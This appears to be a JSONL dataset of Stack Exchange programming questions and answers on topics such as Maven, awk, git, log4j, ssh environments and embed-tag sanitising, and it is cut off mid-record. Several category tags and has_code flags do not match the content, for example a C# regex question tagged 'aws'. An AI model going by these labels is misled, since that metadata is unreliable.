{"id": "hf_443b7866d7fe", "question": "<p>I am running both maven inside the m2eclipse plugin, windows command line and my cygwin command line.</p>\n\n<p>cygwin's bash shell dumps artifacts into the cygwin /home/me/.m2 directory</p>\n\n<p>but m2eclipse &amp; windows shell (on vista) uses /Users/me/Documents/.m2</p>\n\n<p>Is it possible to tell the mvn command to use one central .m2 directory ?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Sure, several ways.  The most typical is to specify this in your settings.xml file:\nhttp://maven.apache.org/settings.html\n```\n```\n<settings xmlns=\"http://maven.apache.org/POM/4.0.0\"\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0\n                      http://maven.apache.org/xsd/settings-1.0.0.xsd\">\n  <localRepository>/my/secret/repository</localRepository>\n</settings>\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.446198"}
{"id": "hf_030bbc595661", "question": "<p>Can we somehow extend the RuleSetDialog class and host in our windows application?</p>\n", "question_body": "", "answer": "You can not extend the RuleSetDialog class (since it is sealed), but you can host it in your app:\nRuleSetDialog Class\nHosting the workflow rules designer\nRules Engine via Windows Workflow Foundation\nFiltering Intellisense lists in the WF RuleSetDialog\nWindows Workflow Foundation Rules for Generic Types\nTweaking RuleSetDialog to Resize\nPowerShell Rules Engine: How-To Technical Details", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.607208"}
{"id": "hf_a81389b27e88", "question": "<p>How do I get the full width result for the *nix command \"<strong>ps</strong>\"?<br />\nI know we can specify something like <code>--cols 1000</code> but is there anyway I can\nthe columns and just print out everything?</p>\n", "question_body": "", "answer": "Try\n```\nps -w -w aux\n```\n. The -w option sets the output to wide, and doing it twice makes the width unlimited. The \"aux\" part makes it show more information, and is (afaik) pretty standard mode to use. This is of course platform-dependant, the above works with procps version 3.2.7 on Linux.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.752336"}
{"id": "hf_0f195d8da60e", "question": "<p>I'm converting some Windows batch files to Unix scripts using sh. I have problems because some behavior is dependent on the %~dp0 macro available in batch files.</p>\n\n<p>Is there any sh equivalent to this? Any way to obtain the directory where the executing script lives?</p>\n", "question_body": "", "answer": "Yes, you can! It's in the arguments. :)\nlook at\n```\n```\n${0}\n```\n```\ncombining that with\n```\n```\n{$var%Pattern}\nRemove from $var  the shortest part of $Pattern that matches the back end of $var.\n```\n```\nwhat you want is just\n```\n```\n${0%/*}\n```\n```\nI recommend the\nAdvanced Bash Scripting Guide\n(that is also where the above information is from).\nEspeciall the part on\nConverting DOS Batch Files to Shell Scripts\nmight be useful for you. :)\nIf I have misunderstood you, you may have to combine that with the output of \"pwd\". Since it only contains the path the script was called with!\nTry the following script:\n```\n```\n#!/bin/bash\ncalled_path=${0%/*}\nstripped=${called_path#[^/]*}\nreal_path=`pwd`$stripped\necho \"called path: $called_path\"\necho \"stripped: $stripped\"\necho \"pwd: `pwd`\"\necho \"real path: $real_path\n```\n```\nThis needs some work though.\nI recommend using Dave Webb's approach unless that is impossible.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.866139"}
{"id": "hf_9ccccdfea242", "question": "<p>I came across PHP way of doing the trick:</p>\n\n<pre><code>my_bool reconnect = 1;\nmysql_options(&amp;mysql, MYSQL_OPT_RECONNECT, &amp;reconnect);\n</code></pre>\n\n<p>but no luck with MySQLdb (python-mysql).</p>\n\n<p>Can anybody please give a clue? Thanks.</p>\n", "question_body": "", "answer": "If you are using ubuntu Linux there was a patch added to the python-mysql package that added the ability to set that same MYSQL_OPT_RECONNECT option (see\nhere\n).  I have not tried it though.\nUnfortunately, the patch was later removed due to a conflict with autoconnect and transations (described\nhere\n).\nThe comments from that page say:\n1.2.2-7 Published in intrepid-release on 2008-06-19\npython-mysqldb (1.2.2-7) unstable; urgency=low\n[ Sandro Tosi ]\n  * debian/control\n    - list items lines in description starts with 2 space, to avoid reformat\n      on webpages (Closes: #480341)\n[ Bernd Zeimetz ]\n  * debian/patches/02_reconnect.dpatch:\n    - Dropping patch:\n      Comment in Storm which explains the problem:\n```\n```\n# Here is another sad story about bad transactional behavior. MySQL\n    # offers a feature to automatically reconnect dropped connections.\n    # What sounds like a dream, is actually a nightmare for anyone who\n    # is dealing with transactions. When a reconnection happens, the\n    # currently running transaction is transparently rolled back, and\n    # everything that was being done is lost, without notice. Not only\n    # that, but the connection may be put back in AUTOCOMMIT mode, even\n    # when that's not the default MySQLdb behavior. The MySQL developers\n    # quickly understood that this is a terrible idea, and removed the\n    # behavior in MySQL 5.0.3. Unfortunately, Debian and Ubuntu still\n    # have a patch right now which *reenables* that behavior by default\n    # even past version 5.0.3.\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:29.997596"}
{"id": "hf_2dd8065ca457", "question": "<p>I currently do my textfile manipulation through a bunch of badly remembered AWK, sed, Bash and a tiny bit of Perl.</p>\n\n<p>I've seen mentioned a few places that python is good for this kind of thing. How can I use Python to replace shell scripting, AWK, sed and friends?</p>\n", "question_body": "", "answer": "I suggest the awesome online book\nDive Into Python\n.  It's how I learned the language originally.\nBeyond teaching you the basic structure of the language, and a whole lot of useful data structures, it has a good chapter on\nfile handling\nand subsequent chapters on\nregular expressions\nand more.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:30.321084"}
{"id": "hf_f42d4c91426b", "question": "<p>I'm looking for a regex that can pull out quoted sections in a string, both single and double quotes.</p>\n\n<p>IE:</p>\n\n<pre><code>\"This is 'an example', \\\"of an input string\\\"\"\n</code></pre>\n\n<p>Matches:</p>\n\n<ul>\n<li>an example</li>\n<li>of an input string</li>\n</ul>\n\n<p>I wrote up this:</p>\n\n<pre><code> [\\\"|'][A-Za-z0-9\\\\W]+[\\\"|']\n</code></pre>\n\n<p>It works but does anyone see any flaws with it?</p>\n\n<p>EDIT: The main issue I see is that it can't handle nested quotes.</p>\n", "question_body": "", "answer": "It works but doesn't match other characters in quotes (e.g., non-alphanumeric, like binary or foreign language chars). How about this:\n```\n```\n[\\\"']([^\\\"']*)[\\\"']\n```\n```\nMy C# regex is a little rusty so go easy on me if that's not exactly right :)", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:30.512267"}
{"id": "hf_63cf5b66d072", "question": "<p>What's the shortest Perl one-liner that  print out the first 9 powers of a hard-coded 2 digit decimal (say, for example, .37), each on its own line? </p>\n\n<p>The output would look something like:</p>\n\n<pre><code>1\n0.37\n0.1369\n[etc.]\n</code></pre>\n\n<p>Official Perl golf rules:</p>\n\n<ol>\n<li>Smallest number of (key)strokes wins</li>\n<li>Your stroke count includes the command line</li>\n</ol>\n", "question_body": "", "answer": "```\n```\nperl -e \"for(my $i = 1; $i < 10; $i++){ print((.37**$i). \\\"\\n\\\"); }\"\n```\n```\nJust a quick entry. :)\nFixed to line break!", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:30.671437"}
{"id": "hf_cea01f85daeb", "question": "<p>How do you stay up-to-date when it comes to new software versions? Above all, I mean minor updates (new version for your Joomla-Installation, forum-software, FTP-Client, ...).</p>\n\n<p>Versiontracker, RSS-Feeds, Newsletter... what else? Anyone wrote a script crawling websites for new versions or something similar?</p>\n", "question_body": "", "answer": "Often your operating system will help you with these things, at least in (most distributions of) Linux. As soon as a piece of software is available as an installable package, and installed, your package management system will keep track of it and it will be possible to find out that a new version is available.\nFor instance, in\nGentoo Linux\n, you would do the following from the command line to get a list of possible package updates:\n```\n```\nemerge --sync && emerge -p world\n```\n```\nThe first command makes sure you have an up-to-date list of available packages, the latter compares all your installed packages (your \"world\") to the list, and reports back with one line per installable package. These lines contain the version you have, and the version available, so you can decide if it's worth upgrading.\nThere are probably several other ways of doing it, this is just what I use.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:30.916878"}
{"id": "hf_8054cd59f43d", "question": "<p>Is there a function in Common Lisp that takes a string as an argument and returns a keyword?</p>\n\n<p>Example: <code>(keyword \"foo\")</code> -> <code>:foo</code></p>\n", "question_body": "", "answer": "```\n```\n(intern \"foo\" \"KEYWORD\") -> :foo\n```\n```\nSee the\nStrings section\nof the\nCommon Lisp Cookbook\nfor other string/symbol conversions and a detailed discussion of symbols and packages.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:31.070031"}
{"id": "hf_6e632cf4b73c", "question": "<p>I'm on OS X 10.5.5 (though it does not matter much I guess)</p>\n\n<p>I have a set of text files with fancy characters like double backquotes, ellipsises (\"...\") in one character etc. </p>\n\n<p>I need to convert these files to good old plain 7-bit ASCII, preferably without losing character meaning (that is, convert those ellipses to three periods, backquotes to usual \"s etc.).</p>\n\n<p>Please advise some smart command-line (bash) tool/script to do that.</p>\n", "question_body": "", "answer": "iconv\nshould do it, as far as I know. Not 100% certain about how it handles conversions where one input character should/could become several output characters, such as with the ellipsis example ... Something to try!\nUpdate: I did try it, and it seems it doesn't work. It fails, possibly since it doesn't know how to express ellipsis (the test character I used) in a \"smaller\" encoding. Converting from UTF-8 to UTF-16 went fine. :/ Still, iconv might be worth investigating further.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:31.267186"}
{"id": "hf_e7d5ca16303d", "question": "<p>How can I get tab completion to work for selecting CVS modules under Linux (preferably using bash) ?</p>\n\n<p>For example, \"cvs co \" + tab would list the modules I can checkout. I've heard it's easy to do using zsh, but still I didn't manage to get it working either. </p>\n\n<p>Also, how can I list all available modules (or repositories?) available in the CVSROOT?</p>\n", "question_body": "", "answer": "There is the\nBash completion\nproject.  It has some cvs completion in it, I'm not 100% if it can determine all the modules for checkout.  But it would be a good place to start.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:31.453612"}
{"id": "hf_db7fa02a9532", "question": "<p>I'm looking at the code for a phase accumulator, and I must be a simpleton because I don't get it.\nThe code is simple enough:</p>\n\n<pre>\n  Every Clock Tick do:\n    accum = accum + NCO_param;\n    return accum;\n</pre>\n\n<p>accum is a 32-bit register.  Obviously, at some point it will roll-over.</p>\n\n<p>My question really is: How does this relate to the phase?</p>\n", "question_body": "", "answer": "This article\nmay help.\nIn the running step, the counter (properly called the phase accumulator) is instructed to advance by a certain increment on each pulse from the frequency reference. The output of the phase accumulator (the phase) is used to select each item in the data table in turn. Finally, the DAC converts this sequence of data to an analogue waveform.\nIn the running step, the counter\n  (properly called the phase\n  accumulator) is instructed to advance\n  by a certain increment on each pulse\n  from the frequency reference. The\n  output of the phase accumulator (the\n  phase) is used to select each item in\n  the data table in turn. Finally, the\n  DAC converts this sequence of data to\n  an analogue waveform.\n  To generate a periodic waveform, the\n  circuit is set up so that one pass\n  through the table takes a time equal\n  to the period of the waveform. For\n  example, if the reference frequency is\n  1 MHz, and the table contains 1000\n  entries, then a complete pass through\n  the table with a phase increment of 1\n  will take 1000 / 1 MHz = 1 ms, so the\n  frequency of the output waveform will\n  be 1/(1 ms) = 1 kHz.\nThis system can generate a higher\n  output frequency simply by increasing\n  the phase increment so that the\n  counter runs through the table more\n  quickly. In the example above, the\n  phase increment is equal to 1, so the\n  next possible frequency is obtained by\n  setting the increment to 2, resulting\n  in a doubling of output frequency. To\n  obtain a finer control of frequency\n  than this, the standard phase\n  increment can be set to, say, 10. This\n  then allows slightly higher or lower\n  output frequencies. For example,\n  increasing the increment to 11 would\n  increase the output frequency by 10%,\n  and reducing it to 9 would decrease\n  the output frequency by the same\n  proportion. The more precision\n  required over the frequency, the more\n  bits are needed in the counter.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:33.168254"}
{"id": "hf_a60d84bc5acf", "question": "<p>I have noticed that my particular instance of Trac is not running quickly and has big lags.  This is at the very onset of a project, so not much is in Trac (except for plugins and code loaded into SVN).</p>\n\n<p><strong>Setup Info:</strong> This is via a SELinux system hosted by WebFaction.  It is behind Apache, and connections are over SSL.  Currently the .htpasswd file is what I use to control access.</p>\n\n<p>Are there any recommend ways to improve the performance of Trac?</p>\n", "question_body": "", "answer": "It's hard to say without knowing more about your setup, but one easy win is to make sure that Trac is running in something like\n```\nmod_python\n```\n, which keeps the Python runtime in memory. Otherwise, every HTTP request will cause Python to run, import all the modules, and then finally handle the request. Using\n```\nmod_python\n```\n(or FastCGI, whichever you prefer) will eliminate that loading and skip straight to the good stuff.\nAlso, as your Trac database grows and you get more people using the site, you'll probably outgrow the default SQLite database. At that point, you should think about migrating the database to PostgreSQL or MySQL, because they'll be able to handle concurrent requests much faster.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:33.452241"}
{"id": "hf_0be7dc90f974", "question": "<p>I have a file with fields separated by pipe characters and I want to print only the second field.  This attempt fails:</p>\n\n<pre><code>$ cat file | awk -F| '{print $2}'\nawk: syntax error near line 1\nawk: bailing out near line 1\nbash: {print $2}: command not found\n</code></pre>\n\n<p>Is there a way to do this?</p>\n", "question_body": "", "answer": "The pipe character needs to be escaped so that the shell doesn't interpret it.  A simple solution:\n```\n```\n$ awk -F\\| '{print $2}' file\n```\n```\nAnother choice would be to quote the character:\n```\n```\n$ awk -F'|' '{print $2}' file\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:33.601756"}
{"id": "hf_a5f083813550", "question": "<p>What is the most efficient way to do this?</p>\n", "question_body": "", "answer": "A hex value is just RGB numbers represented in hexadecimal. So you just have to take each pair of hex digits and convert them to decimal.\nExample:\n```\n```\n#FF6400 = RGB(0xFF, 0x64, 0x00) = RGB(255, 100, 0)\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:33.812828"}
{"id": "hf_3b84c369ab9f", "question": "<p>Does anyone have experience with using very large heaps, 12 GB or higher in Java?</p>\n\n<ul>\n<li>Does the GC make the program unusable?</li>\n<li>What GC params do you use?</li>\n<li>Which JVM, Sun or BEA would be better suited for this?</li>\n<li>Which platform, Linux or Windows, performs better under such conditions?</li>\n<li>In the case of Windows is there any performance difference to be had between 64 bit Vista and XP under such high memory loads?</li>\n</ul>\n", "question_body": "", "answer": "We have an application that we allocate 12-16 Gb for but it really only reaches 8-10 during normal operation.  We use the Sun JVM (tried IBMs and it was a bit of a disaster but that just might have been ignorance on our part...I have friends that swear by it--that work at IBM).  As long as you give your app breathing room, the JVM can handle large heap sizes with not too much GC.  Plenty of 'extra' memory is key.\nLinux is almost always more stable than Windows and when it is not stable it is a hell of a lot easier to figure out why.  Solaris is rock solid as well and you get DTrace too :) \nWith these kind of loads, why on earth would you be using Vista or XP?  You are just asking for trouble. \nWe don't do anything fancy with the GC params.  We do set the minimum allocation to be equal to the maximum so it is not constantly trying to resize but that is it.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:33.916623"}
{"id": "hf_91c9b7c16695", "question": "<p>How do I revert a modified file to its previous revision at a specific commit hash (which I determined via <a href=\"https://git-scm.com/docs/git-log\" rel=\"noreferrer\"><code>git log</code></a> and <a href=\"https://git-scm.com/docs/git-diff\" rel=\"noreferrer\"><code>git diff</code></a>)?</p>\n", "question_body": "", "answer": "```\n```\ngit checkout -- foo\n```\n```\nThat will reset\n```\nfoo\n```\nto HEAD. You can also:\n```\n```\ngit checkout HEAD^ foo\n```\n```\nfor one revision back, etc.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:34.291657"}
{"id": "hf_a88b9542470b", "question": "<p>I want to allow users to paste <code>&lt;embed&gt;</code> and <code>&lt;object&gt;</code> HTML fragments (video players) via an HTML form. The server-side code is PHP. How can I protect against malicious pasted code, JavaScript, etc? I could parse the pasted code, but I'm not sure I could account for all variations. Is there a better way?</p>\n", "question_body": "", "answer": "I'm not really sure what parameters\n```\nEMBED\n```\nand\n```\nOBJECT\n```\ntake as I've never really dealt with putting media on a page (which is actually kind of shocking to think about) but I would take a BB Code approach to it and do something like\n```\n[embed url=\"http://www.whatever.com/myvideo.whatever\" ...]\n```\nand then you can parse out the URL and anything else, make sure they are legit and make your own\n```\n<EMBED>\n```\ntag.\nedit:\nAlright, something like this should be fine:\n```\n```\n$youtube = '<object width=\"425\" height=\"344\"><param name=\"movie\" value=\"http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\"></param> </param><embed src=\"http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" width=\"425\" height=\"344\"></embed></object>';\n\n$blip = '<embed src=\"http://blip.tv/play/AZ_iEoaIfA\" type=\"application/x-shockwave-flash\" width=\"640\" height=\"510\" allowscriptaccess=\"always\" allowfullscreen=\"true\"></embed>';\n\npreg_match_all(\"/([A-Za-z]*)\\=\\\"(.+?)\\\"/\", $youtube, $matches1);\npreg_match_all(\"/([A-Za-z]*)\\=\\\"(.+?)\\\"/\", $blip, $matches2);\nprint '<pre>' . print_r($matches1, true). '</pre>';\nprint '<pre>' . print_r($matches2, true). '</pre>';\n```\n```\nThis will output:\n```\n```\nArray\n(\n[0] => Array\n    (\n        [0] => width=\"425\"\n        [1] => height=\"344\"\n        [2] => name=\"movie\"\n        [3] => value=\"http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\"\n        [4] => src=\"http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\"\n        [5] => type=\"application/x-shockwave-flash\"\n        [6] => allowfullscreen=\"true\"\n        [7] => width=\"425\"\n        [8] => height=\"344\"\n    )\n\n[1] => Array\n    (\n        [0] => width\n        [1] => height\n        [2] => name\n        [3] => value\n        [4] => src\n        [5] => type\n        [6] => allowfullscreen\n        [7] => width\n        [8] => height\n    )\n\n[2] => Array\n    (\n        [0] => 425\n        [1] => 344\n        [2] => movie\n        [3] => http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\n        [4] => http://www.youtube.com/v/Z75QSExE0jU&hl=en&fs=1\n        [5] => application/x-shockwave-flash\n        [6] => true\n        [7] => 425\n        [8] => 344\n    )\n)\n\nArray\n(\n[0] => Array\n    (\n        [0] => src=\"http://blip.tv/play/AZ_iEoaIfA\"\n        [1] => type=\"application/x-shockwave-flash\"\n        [2] => width=\"640\"\n        [3] => height=\"510\"\n        [4] => allowscriptaccess=\"always\"\n        [5] => allowfullscreen=\"true\"\n    )\n\n[1] => Array\n    (\n        [0] => src\n        [1] => type\n        [2] => width\n        [3] => height\n        [4] => allowscriptaccess\n        [5] => allowfullscreen\n    )\n\n[2] => Array\n    (\n        [0] => http://blip.tv/play/AZ_iEoaIfA\n        [1] => application/x-shockwave-flash\n        [2] => 640\n        [3] => 510\n        [4] => always\n        [5] => true\n    )\n)\n```\n```\nFrom then on it's pretty straight forward. For things like width/height you can verify them with\n```\nis_numeric\n```\nand with the rest you can run the values through\n```\nhtmlentities\n```\nand construct your own\n```\n<embed>\n```\ntag from the information. I am pretty certain this would be safe. You can even make the full-fledged\n```\n<object>\n```\none like YouTube (which I assume works in more places) with links from blip.tv, since you would have all the required data.\nI am sure you may see some quirks with links from other video-sharing websites but this will hopefully get you started. Good luck.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:34.475863"}
{"id": "hf_ba2c095cfa04", "question": "<p>I have a command that runs fine if I ssh to a machine and run it, but fails when I try to run it using a remote ssh command like : </p>\n\n<pre><code>ssh user@IP &lt;command&gt;\n</code></pre>\n\n<p>Comparing the output of \"env\" using both methods resutls in different environments. When I manually login to the machine and run env, I get much more environment variables then when I run :</p>\n\n<pre><code>ssh user@IP \"env\"\n</code></pre>\n\n<p>Any idea why ?</p>\n", "question_body": "", "answer": "There are different types of shells. The SSH command execution shell is a non-interactive shell, whereas your normal shell is either a login shell or an interactive shell. Description follows, from man bash:\n```\nA  login  shell  is  one whose first character of argument\n       zero is a -, or one started with the --login option.\n\n       An interactive shell is  one  started  without  non-option\n       arguments  and  without the -c option whose standard input\n       and error are both connected to terminals  (as  determined\n       by  isatty(3)), or one started with the -i option.  PS1 is\n       set and $- includes i if bash is interactive,  allowing  a\n       shell script or a startup file to test this state.\n\n       The  following  paragraphs  describe how bash executes its\n       startup files.  If any of the files exist  but  cannot  be\n       read,  bash reports an error.  Tildes are expanded in file\n       names as described below  under  Tilde  Expansion  in  the\n       EXPANSION section.\n\n       When  bash is invoked as an interactive login shell, or as\n       a non-interactive shell with the --login option, it  first\n       reads and executes commands from the file /etc/profile, if\n       that file exists.  After reading that file, it  looks  for\n       ~/.bash_profile,  ~/.bash_login,  and  ~/.profile, in that\n       order, and reads and executes commands from the first  one\n       that  exists  and is readable.  The --noprofile option may\n       be used when the shell is started to inhibit  this  behav­\n       ior.\n\n       When a login shell exits, bash reads and executes commands\n       from the file ~/.bash_logout, if it exists.\n\n       When an interactive shell that is not  a  login  shell  is\n       started,  bash reads and executes commands from ~/.bashrc,\n       if that file exists.  This may be inhibited by  using  the\n       --norc  option.   The --rcfile file option will force bash\n       to  read  and  execute  commands  from  file  instead   of\n       ~/.bashrc.\n\n       When  bash  is  started  non-interactively, to run a shell\n       script, for example, it looks for the variable BASH_ENV in\n       the  environment,  expands  its value if it appears there,\n       and uses the expanded value as the name of a file to  read\n       and  execute.   Bash  behaves  as if the following command\n       were executed:\n              if [ -n \"$BASH_ENV\" ]; then . \"$BASH_ENV\"; fi\n       but the value of the PATH variable is not used  to  search\n       for the file name.\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:34.636426"}
{"id": "hf_fa0e50fdace2", "question": "<p>I have a java webapp that has to be deployed on either Win or Linux machines. I now want to add log4j for logging and I'd like to use a relative path for the log file as I don't want to change the file path on every deployment. The container will most likely be Tomcat but not necessarily.</p>\n\n<p>What's the best way of doing this?</p>\n", "question_body": "", "answer": "Tomcat sets a catalina.home system property.  You can use this in your log4j properties file.  Something like this:\n```\n```\nlog4j.rootCategory=DEBUG,errorfile\n\nlog4j.appender.errorfile.File=${catalina.home}/logs/LogFilename.log\n```\n```\nOn Debian (including Ubuntu),\n```\n${catalina.home}\n```\nwill not work because that points at /usr/share/tomcat6 which has no link to /var/log/tomcat6. Here just use\n```\n${catalina.base}\n```\n.\nIf your using another container, try to find a similar system property, or define your own.  Setting the system property will vary by platform, and container.  But for Tomcat on Linux/Unix I would create a setenv.sh in the CATALINA_HOME/bin directory.  It would contain:\n```\n```\nexport JAVA_OPTS=\"-Dcustom.logging.root=/var/log/webapps\"\n```\n```\nThen your log4j.properties would be:\n```\n```\nlog4j.rootCategory=DEBUG,errorfile\n\nlog4j.appender.errorfile.File=${custom.logging.root}/LogFilename.log\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:34.858399"}
{"id": "hf_24c8403a564a", "question": "<p>Is there a way in Delphi to get the currect application's exe size in one or two lines of code?</p>\n", "question_body": "", "answer": "Unfortunatly it is not possible to do that with only one or two lines of code without using some library.\nThe easy part is getting the application's exe file. You can find it in\n```\nApplication.ExeName\n```\nIn general there are several possibilities for retrieving the file size:\nOpen the file and read the size of the stream. This can be accomplished using the 'old' Delphi functions\n```\nFileOpen\n```\nand\n```\nFileSize\n```\n, or with\n```\nTFileStream\n```\n(use the\n```\nsize\n```\nproperty) or with Win32 API functions\n```\nCreateFile\n```\nand\n```\nGetFileSize\n```\nfunction. (Platform dependend!) Make sure you open the file with read-only access.\nIn a pure Win32 envinronment you can use\n```\nFindFirst\n```\nto get the file size. You can read it from\n```\nTSearchRec.FindData.nFileSizeLow\n```\n. If you want to be prepared for files larger than 2 GB (you should be) you have to use also the\n```\nnFileSizeHigh\n```\npart.\nIn Delphi.NET you can use the\n```\nSystem.IO.FileInfo\n```\n, like this:\n```\nFileInfo.Create(filename).Length\n```\n(one-liner)\nIn Linux you can use the\n```\nlstat64\n```\nfunction (Unit\n```\nLibc\n```\n) and get the size from\n```\nTStatBuf64.st_size\n```\n.  (two-liner if you don't count the variable declaration)\nIn the\nJCL library\nyou can find many useful functions, including a simple function which returns the file size of a given file name. (It uses a method which suits the given platform)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:35.058973"}
{"id": "hf_6e93b4177a25", "question": "<p>How to represent the start and end times for one day?</p>\n\n<p>Using October 23, 2008 as an example, is it start 2008-10-23 12:00:00 AM and end 2008-10-23 11:59:59 PM?</p>\n", "question_body": "", "answer": "I would like to cite a site,\nhttp://www.cl.cam.ac.uk/~mgk25/iso-time.html\nThe international standard notation for the time of day is\n```\n```\nhh:mm:ss\n```\n```\nwhere hh is the number of complete hours that have passed since midnight (00-24), mm is the number of complete minutes that have passed since the start of the hour (00-59), and ss is the number of complete seconds since the start of the minute (00-60). If the hour value is 24, then the minute and second values must be zero.\nNote: The value 60 for ss might sometimes be needed during an inserted leap second in an atomic time scale like Coordinated Universal Time (UTC). A single leap second 23:59:60 is inserted into the UTC time scale every few years as announced by the International Earth Rotation Service in Paris, to keep UTC from wandering away more than 0.9 s from the less constant astronomical time scale UT1, which is defined by the actual rotation of the earth. In practice you are not very likely to see a clock showing 23:59:60. Most synchronized clocks resynchronize again to UTC some time after a leap second has happened, or they temporarily slow down near the time of a leap seconds, to avoid any disruption that an out-of-range timestamp might otherwise cause.\nAn example time is\n```\n```\n23:59:59\n```\n```\nwhich represents the time one second before midnight.\nAs with the date notation, the separating colons can also be omitted as in\n```\n```\n235959\n```\n```\nand the precision can be reduced by omitting the seconds or both the seconds and minutes as in\n```\n```\n23:59, 2359, or 23\n```\n```\nIt is also possible to add fractions of a second after a decimal dot or comma, for instance the time 5.8 ms before midnight can be written as\n```\n```\n23:59:59.9942 or 235959.9942\n```\n```\nAs every day both starts and ends with midnight, the two notations 00:00 and 24:00 are available to distinguish the two midnights that can be associated with one date. This means that 